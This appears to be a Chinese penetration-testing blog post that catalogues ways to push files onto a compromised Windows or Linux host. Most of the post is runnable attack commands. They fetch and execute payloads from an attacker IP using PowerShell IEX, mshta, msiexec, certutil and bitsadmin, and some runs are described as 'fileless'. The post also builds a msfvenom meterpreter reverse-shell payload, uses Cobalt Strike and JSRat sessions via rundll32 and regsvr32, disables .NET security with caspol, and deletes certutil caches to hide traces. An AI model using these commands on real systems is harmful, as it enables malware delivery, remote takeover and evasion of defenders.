Windows&Linux檔案傳輸方式總結

yokan發表於2022-03-28

在滲透過程中,通常會需要向目標主機傳送一些檔案,來達到許可權提升、許可權維持等目的,本篇文章主要介紹一些windows和Linux下常用的檔案傳輸方式。

Windows

利用FTP協議上傳

在本地或者VPS上搭建FTP伺服器,通過簡單的FTP命令即可實現檔案的上傳。常用的FTP命令:

open <伺服器地址> :連線伺服器
cd <目錄名> :進入指定目錄
lcd <資料夾路徑> : 定位本地資料夾
type:檢視當前的傳輸方式
ascii:設定傳輸方式為ASCII碼方式 
binary:設定傳輸方式為二進位制方式
put <檔名> [newname]  上傳
send <檔名> [newname]  上傳
get:下載單個檔案  get filename [newname]  (filename為下載的ftp伺服器上的檔名,newname為儲存在本都計算機上時使用的名字,如果不指定newname,檔案將以原名儲存。
mget:下載多個檔案mget filename [filename ....](mget命令支援萬用字元“*”和“?”,比如:mget  *.jpg 表示下載ftp伺服器當前目錄下的所有副檔名為jpg的檔案。)
prompt:關閉/開啟互交提示。

例如,我們可以通過在攻擊主機上搭建FTP服務,之後在目標主機上通過cmd下的ftp進行遠端連線:
首先,在攻擊主機使用IPOP啟動一個簡易的FTP服務

image-20211207180311854

image-20211207180439109

powershell

遠端下載檔案儲存在本地:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')

image-20211207182148481

遠端執行命令,無檔案落地:

powershell -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"

bitsadmin

bitsadmin是一個命令列工具,可用於建立下載或上傳並監視其進度,自windows7 以上版本內建bitsadmin,它可以在網路不穩定的狀態下下載檔案,出錯會自動重試,在比較複雜的網路環境下,有著不錯的效能。
我們可以在cmd中輸入bitsadmin來檢視其使用說明:

image-20211207204410507

我們可以通過在目標主機上執行以下命令來實現遠端檔案下載:

bitsadmin /transfer n http://192.168.174.1:1234/evil.txt C:\evil.exe

image-20211207204521973

⭐certutil

certutil.exe是一個命令列程式,作為證照服務的一部分安裝,你可以使用Certutil.exe轉儲和顯示證照頒發機構(CA)配置資訊,配置證照服務,備份和還原CA元件,以及驗證證照,金鑰對和證照鏈。xp-win10都自帶。
我們可以在cmd中輸入以下命令來檢視certutil的具體使用方法:

certutil -?

image-20211207205355831

由於certutil下載檔案都會留下快取,所以一般都建議下載完檔案後對快取 進行刪除。

注:快取目錄為:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"

#下載檔案
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#刪除快取
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete

image-20211207205603535

ipc$檔案共享

IPC$(Internet Process Connection)是共享"命名管道"的資源,它是為了讓程式間通訊而開放的命名管道,通過提供可信任的使用者名稱和口令,連線雙方可以建立安全的通道並以此通道進行加密資料的交換,從而實現對遠端計算機的訪問。

#建立遠端IPC連線
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
#複製遠端檔案到本地主機
copy \\192.168.28.128\c$\2.txt D:\test

image-20211207223218460

IEExec

IEexec.exe應用程式是.NET Framework附帶程式,存在於多個系統白名單內。

image-20211207224805913

生成Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe

使用管理員身份開啟cmd,分別執行下面兩條命令:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s offC:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe

image-20211207224904316

msiexec

msiexec是windows自帶的cmd工具,支援遠端下載功能,攻擊者可以將msi檔案上傳到伺服器並執行,下面通過一個例項做演示說明,首先我們通過msfvenom來構造一個惡意的msi程式(這裡以彈計算器為例,在實戰中可以根據需要進行修改),並啟動一個簡易HTTP服務:

image-20211207210101330

之後在目標主機上通過msiexec來實現遠端下載檔案並執行,該方法同樣可以實現無檔案落地攻擊:

msiexec /q /i http://192.168.174.131:1234/evil.msi	

image-20211207210247867

mshta

mshta.exe是微軟Windows作業系統相關程式,英文全稱Microsoft HTML Application,可翻譯為微軟超文字標記語言應用,用於執行.HTA檔案,我們可以在本地構建hta檔案,之後通過目標主機的mshta來遠端下載並執行,例如在本地建立以下hta檔案:

<HTML><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD><script language="VBScript">Set objShell = CreateObject("Wscript.Shell")objShell.Run "cmd.exe /c calc.exe" // 待執行的命令self.close</script><body>Demo</body></HEAD></HTML>	

之後在遠端目標主機上執行以下命令實現下載執行操作,且無檔案落地:

mshta http://192.168.174.1:1234/evil.hta

image-20211207214923011

如果你想要使得目標主機CS上線,那麼也可以通過CS來構造hta檔案:

image-20211207214948286

image-20211207215001775image-20211207215007634

之後在本地啟動一個HTTP服務:

image-20211207215018377之後在cmd下通過mshta來下載hta檔案並執行,使其上線,且無檔案落地:

mshta http://192.168.174.131:1234/evil.hta	

image-20211207215038118

CS中成功上線:

image-20211207215046368

rundll32

Rundll32.exe功能是以命令列的方式呼叫動態連結程式庫,系統中還有一個Rundll64.exe檔案,它的意思是"執行64位的DLL檔案", 其命令列下的使用方法為:Rundll32.exe DLLname,Functionname Arguments,其中DLLname為需要執行的DLL檔名,Functionname為前邊需要執行的DLL檔案的具體引出函式,Arguments為引出函式的具體引數。

這裡我們使用JSRat來做演示,JSRat是一個命令和控制框架,僅為rundll32.exe和regsvr32.exe生成惡意程式,專案地址:https://github.com/Hood3dRob1n/JSRat-Py.git

首先我們在本地執行JSRat監聽本地1234埠:

./JSRat.py -i 192.168.174.131 -p 1234

image-20211207220521619

之後通過訪問client comand 連線客戶端執行命令:

image-20211207220611657

之後複製上述惡意命令在目標主機cmd下執行:

image-20211207220624801

之後成功返回一個會話如下所示:

image-20211207220642239

regsvr32

Regsvr32命令用於註冊COM元件,是Windows系統提供的用來向系統註冊控制元件或者解除安裝控制元件的命令,以命令列方式執行,我們可以通過該命令來實現遠端檔案下載,和上面類似,這裡也藉助JSRat來實現,首先我們在本地執行JSRat監聽本地1234埠:

./JSRat.py -i 192.168.174.131 -p 1234

image-20211207220904410

之後通過訪問client comand 連線檢視客戶端執行命令:

image-20211207220915736

之後複製上述惡意點在目標主機cmd下執行:

image-20211207220927478

之後成功返回一個會話

image-20211207221005334

-------(以上為windows自帶工具)------

wget

Windows環境下,可上傳免安裝的可執行程式wget.exe到目標機器,使用wget下載檔案。

wget.exe下載:https://eternallybored.org/misc/wget

wget -O "evil.txt" http://192.168.28.128/imag/evil.txt

image-20211207221355597

curl

cURL是一個利用URL語法在命令列下工作的檔案傳輸工具,1997年首次發行,它支援檔案上傳和下載,所以是綜合傳輸工具,但按傳統,習慣稱cURL為下載工具,cURL還包含了用於程式開發的libcurl。
當目標主機中安裝了curl時我們可以通過以下方式來實現遠端下載檔案到本地:

curl http://192.168.174.1:1234/evil.exe -o evil.exe

image-20211207221858315

netcat

當目標主機上安裝了netcat是我們可以使用netcat來實現檔案下載,當然這種場景在實戰中少之又少

首先,我們在本地使用nc起一個監聽,並傳遞我們想要傳輸的檔名稱:

nc -lvp 4444 < evil.exe

image-20211207222031458

之後在目標主機上下載檔案:

nc  192.168.174.131 4444 >evil.exe

image-20211207222056699

python

當目標主機內安裝了python時,我們可以在cmd中使用python來實現遠端檔案下載:

>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.hta')>>> localfile = open('local_file.hta','w')>>> localfile.write(u.read())>>> localfile.close()

image-20211207222801172

WinScp

WinSCP是一個Windows環境下使用SSH的開源圖形化SFTP客戶端。

#上傳winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit" /log=log_file.txt#下載winscp.exe /console /command "option batch continue" "option confirm off" "opensftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\""exit" /log=log_file.txt

使用winscp.exe 作為命令列引數執行遠端上傳/下載操作

image-20211207224637895

MSXSL.EXE

msxsl.exe是微軟用於命令列下處理XSL的一個程式,所以通過他,我們可以執行JavaScript進而執行系統命令。

下載地址為:https://www.microsoft.com/en-us/download/details.aspx?id=21714

msxsl.exe 需要接受兩個檔案,XML及XSL檔案,可以遠端載入,具體方式如下:

msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl

demo.xml:

<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoft</name></customer></customers>

exec.xsl:

<?xml version='1.0'?><xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:msxsl="urn:schemas-microsoft-com:xslt"xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");return nodelist.nextNode().xml;}</msxsl:script><xsl:template match="/"><xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>

image-20211207225632036

Linux

ftp(一般自帶)

ftp在linux一般都自帶,我們可以在終端輸入ftp進行互動,所以我們可以在本地搭建FTP服務,之後在目標主機上通過終端下的ftp進行遠端連線來下載檔案

可以使用python3的pyftpdlib模組來搭建ftp:

安裝

pip install pyftpdlib

啟動

python -m pyftpdlib -p 2121

至此一個簡單的FTP伺服器已經搭建完成,訪問 ftp://127.0.0.1:2121 即可

(預設IP為 127.0.0.1 、埠為 2121

可選引數:

-i 指定IP地址(預設為本機的IP地址)-p 指定埠(預設為2121)-w 寫許可權(預設為只讀)-d 指定目錄 (預設為當前目錄)-u 指定使用者名稱登入-P 設定登入密碼

也可以使用IPOP啟動一個簡易的FTP服務:

image-20211209144120792

之後在目標主機上遠端下載evil.exe檔案:

image-20211209144200887

tftp

使用下面的命令將伺服器本地檔案上傳到遠端主機:

(從伺服器下載遠端主機的檔案也類似,不再演示)

第一步,遠端主機執行TFTP服務

apt-get install atftpd  //安裝tftp服務程式mkdir /tmp/backup  //建立目錄chmod 777 /tmp/backup  //修改許可權sudo atftpd --daemon --port 69 /tmp/backup  //啟動服務程式

image-20211209144536396

第二步,Linux伺服器建立測試檔案並使用tftp將檔案上傳到遠端主機

echo "sent by tftp." > tftp.senttftp 192.168.43.237put tftp.sent tftp.get

image-20211209144603732

第三步,遠端主機檢視接收到的檔案

image-20211209144613915

sftp

sftp是Secure File Transfer Protocol的縮寫,安全檔案傳送協議。可以為傳輸檔案提供一種安全的網路的加密方法。sftp 與 ftp 有著幾乎一樣的語法和功能。SFTP 為 SSH的其中一部分。

用法:

執行SSH服務

systemctl start sshd

連線遠端伺服器:

sftp username@ip

回車之後輸入伺服器密碼即可連線成功。

將檔案上傳到伺服器上:

put [本地檔案的地址] [伺服器上檔案儲存的位置]

將伺服器上的檔案下載到本地:

get [伺服器上檔案儲存的位置] [本地要儲存的位置]

image-20211209145510099

⭐scp

scp是secure copy的簡寫,用於在Linux下進行遠端拷貝檔案/目錄的命令。

和它類似的命令有cp,不過cp只是在本機進行拷貝不能跨伺服器,而且scp傳輸是加密的。可能會稍微影響一下速度。當你伺服器硬碟變為只讀 read only system時,用scp可以幫你把檔案移出來。

另外,scp還非常不佔資源,不會提高多少系統負荷,在這一點上,rsync就遠遠不及它了。雖然 rsync比scp會快一點,但當小檔案眾多的情況下,rsync會導致硬碟I/O非常高,而scp基本不影響系統正常使用。scp在跨機器複製的時候為了提高資料的安全性,使用了ssh連線和加密方式,如果機器之間配置了ssh免密碼登入,那在使用scp的時候密碼都不用輸入。

安裝:

yum install -y openssh-clients

使用:

從本地複製到遠端

# 拷貝檔案scp /home/test/test.txt root@192.168.0.2:/home/test/# 拷貝目錄scp -r /home/test/ root@192.168.0.2:/home/test/

從遠端複製到本地

# 拷貝檔案scp root@192.168.0.2:/home/test/test.txt /home/test/# 拷貝目錄scp -r root@192.168.0.2:/home/test/ v/home/test/

rsync

rsync(remote synchronize)是一個遠端資料同步工具,可通過 LAN/WAN 快速同步多臺主機之間的檔案。也可以使用 rsync 同步本地硬碟中的不同目錄。

rsync 具有如下的基本特性:

可以映象儲存整個目錄樹和檔案系統可以很容易做到保持原來檔案的許可權、時間、軟硬連結等無須特殊許可權即可安裝優化的流程,檔案傳輸效率高可以使用 rsh、ssh 方式來傳輸檔案,當然也可以通過直接的 socket 連線支援匿名傳輸,以方便進行網站鏡象

在使用 rsync 進行遠端同步時,可以使用兩種方式:遠端 Shell 方式(建議使用 ssh,使用者驗證由 ssh 負責)和 C/S 方式(即客戶連線遠端 rsync 伺服器,使用者驗證由 rsync 伺服器負責)。
無論本地同步目錄還是遠端同步資料,首次執行時將會把全部檔案拷貝一次,以後再執行時將只拷貝有變化的檔案(對於新檔案)或檔案的變化部分(對於原有檔案)。

rsync 的命令格式為:

1)本地使用:rsync [OPTION...] SRC... [DEST]2)通過遠端 Shell 使用:拉: rsync [OPTION...] [USER@]HOST:SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST:DEST3)訪問 rsync 伺服器:拉: rsync [OPTION...] [USER@]HOST::SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST::DEST拉: rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]推: rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST

例子,使用下面的命令將伺服器本地檔案上傳到遠端主機:

echo "sent by rsync." > rsync.sent
rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get

image-20211209152853645

遠端主機檢視接收到的檔案

image-20211209152908658

rz、sz(lrzsz)

rz sz指令可以實現linux和windows之間的檔案傳輸,但要求在windows客戶端要安裝Xshell或SecureCRT遠端連線工具。

rz指令和sz指令是一對上傳與下載的指令。它們的軟體包名為lrzsz。

  • rz : 用於linux與windows之間的檔案上傳
  • sz : 用於linux與windows之間的檔案下載

工具的安裝: 

yum install lrzsz -y

rz sz指令使用很簡單,執行rz 指令,遠端連線工具會彈出windows檔案選擇視窗,只要選擇要上傳的檔案即可

檔案上傳:

image-20211209151626310

image-20211209151635217

檔案下載:

image-20211209151651955

⭐wget(自帶)

wget 是一個從網路上自動下載檔案的自由工具,支援通過 HTTP、HTTPS、FTP 三個最常見的 TCP/IP協議下載,並可以使用HTTP 代理。"wget" 這個名稱來源於 “World Wide Web” 與 “get” 的結合。當目標主機上有安裝wget時,我們可以直接通過該應用程式來實現遠端檔案下載:

wget http://192.168.174.1:1234/evil.sh

image-20211209153059343

cURL

cURL是一個利用URL語法在命令列下工作的檔案傳輸工具,1997年首次發行,它支援檔案上傳和下載,所以是綜合傳輸工具,但按傳統,習慣稱cURL為下載工具,cURL還包含了用於程式開發的libcurl,當目標主機中安裝了curl時我們可以通過以下方式來實現遠端下載檔案到本地:

curl http://192.168.174.1:1234/evil.sh -o evil.sh

image-20211209153132644

netcat

首先,我們在本地使用nc起一個監聽,並傳遞我們想要傳輸的檔名稱:

image-20211209153221789

之後在目標主機上下載檔案:

image-20211209153231729

image-20211209153237525

Perl(一般自帶)

Perl是目前很受歡迎的主流指令碼語言,linux主機一般都自帶perl環境,我們可以在終端中使用vim來編輯一個perl指令碼,之後執行perl來實現遠端檔案下載:

#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://192.168.174.1:1234/evil.sh","evil.sh");

image-20211209153520138

之後在終端執行該perl檔案即可:

image-20211209153529559

python

Python是目前很受歡迎的主流指令碼語言,當目標主機內安裝了python時,我們可以在shell中使用python來實現遠端檔案下載:

Type "help", "copyright", "credits" or "license" for more information.>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')>>> localfile = open('local_file.sh','w')>>> localfile.write(u.read())>>> localfile.close()>>>

image-20211209153831370

Ruby

當目標主機內安裝了Ruby時,我們可以在終端使用vim來編輯一個Ruby指令碼,之後執行Ruby來實現遠端檔案下載:

#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("192.168.174.1") { |http|r = http.get("/evil.sh")open("save_location.sh", "wb") { |file|file.write(r.body)}}

image-20211209154125558

成功下載檔案到本地

image-20211209154135417

PHP

當目標主機內安裝了PHP時,我們可以在終端使用vim來編輯一個PHP指令碼,之後執行PHP來實現遠端檔案下載:

<?php $data = @file("http://example.com/file.sh");        $lf = "local_file.sh";        $fh = fopen($lf, 'w');        fwrite($fh, $data[0]);        fclose($fh);?>

image-20211209154244934

成功下載遠端檔案到本地

image-20211209154256075

參考

《應急響應實戰筆記》——bypass

https://xz.aliyun.com/t/7937

https://www.cnblogs.com/anay/p/8682031.html

https://www.freebuf.com/articles/system/265765.html

相關文章